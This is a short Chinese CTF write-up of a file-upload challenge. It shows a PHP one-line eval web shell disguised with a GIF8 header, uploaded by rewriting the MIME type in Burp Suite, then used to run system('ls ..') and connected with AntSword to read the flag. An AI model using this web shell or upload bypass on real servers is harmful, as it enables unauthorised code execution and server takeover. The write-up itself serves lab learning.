先尝试上传一句话,后端会提示文件类型不正确:
我们来编写一句话木马,命名为shell.php
:
GIF8
<?php @eval($_POST['banana']);?>
我们用 Burpsuite 拦截请求,修改 MIME 类型为image/png
,放行:
然后题目显示上传成功:
我们访问 WebShell 的地址,用 Hackbar 发送 POST 命令:
banana=system('ls ..');
我们用蚁剑连接 WebShell(哥斯拉连不上图片马):
进入主机,发现 Flag 文件在/var/www/html/
目录下:
打开即可得到 Flag: